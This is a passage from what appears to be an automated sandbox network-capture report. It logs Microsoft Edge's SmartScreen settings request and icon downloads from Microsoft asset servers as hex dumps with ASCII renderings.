7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49786	20.25.227.174	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:29 UTC	699	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 1093 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiSkx2Yko0TnhrcXhvS1lablJ5d3kwdz09IiwgImhhc2giOiJNTjlvK0hreXdxWT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-18 12:29:29 UTC	1093	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 22 74 3d 47 77 41 57 41 64 39 74 42 41 41 55 61 6e 50 58 4e 73 70 50 47 6c 43 51 4a 6d 46 67 65 2b 54 4b 36 55 38 36 57 57 55 4f 5a 67 41 41 45 4a 62 45 4c 41 6b 75 42 7a 4c 6d 35 46 75 66 47 31 49 71 67 44 4c 67 41 44 31 4f 70 42 75 68 54 79 68 61 76 58 4a 5a 37 62 56 4c 41 6d 53 66 70 48 6f 2f 33 77 36 6c 67 6f 54 41 69 4c 6d 49 67 32 39 73 2b 48 61 5a 57 63 47 70 5a 46 55 47 6a 5a 79 73 58 6b 38 6b 2b 49 35 38 67 69 62 71 52 47 53 41 64 58 4d 33 64 63 31 34 44 67 6d 46 68 48 56 32 Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":"t=GwAWAd9tBAAUanPXNspPGlCQJmFge+TK6U86WWUOZgAAEJbELAkuBzLm5FufG1IqgDLgAD1OpBuhTyhavXJZ7bVLAmSfpHo/3w6lgoTAiLmIg29s+HaZWcGpZFUGjZysXk8k+I58gibqRGSAdXM3dc14DgmFhHV2
2024-11-18 12:29:29 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:29 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-18 12:29:29 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-18 12:29:29 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-18 12:29:29 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-18 12:29:29 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-18 12:29:30 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-18 12:29:30 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-18 12:29:30 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-18 12:29:30 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49787	13.107.246.57	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:29 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:29 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:29 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: a413ac11-a01e-006a-5a66-3834ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122929Z-16547b76f7fm8pcwhC1DFWaxcc00000003sg00000000grct Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 12:29:29 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49788	13.107.246.57	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:29 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:30 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:30 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: e64904fa-f01e-0014-7ca6-37ab63000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122930Z-16547b76f7fzwxm2hC1DFWt5hw00000003f00000000026d6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 12:29:30 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49792	13.107.246.57	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:29 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:30 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:30 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: fecfe7c6-501e-005d-5166-389803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122930Z-16547b76f7fhv4d5hC1DFW7h0n000000041000000000fqzy Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 12:29:30 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49789	13.107.246.57	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:29 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:30 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:29 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 1bc5532a-c01e-003e-451d-37de26000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122929Z-16547b76f7fxqj4khC1DFWpypw000000037g000000001tx9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 12:29:30 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49790	13.107.246.57	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:29 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:30 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:30 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 080193d2-901e-0069-7b5a-3937ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122930Z-164f84587bfh9nvdhC1DFWmce000000003sg000000004e37 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 12:29:30 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49791	13.107.246.57	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:29 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
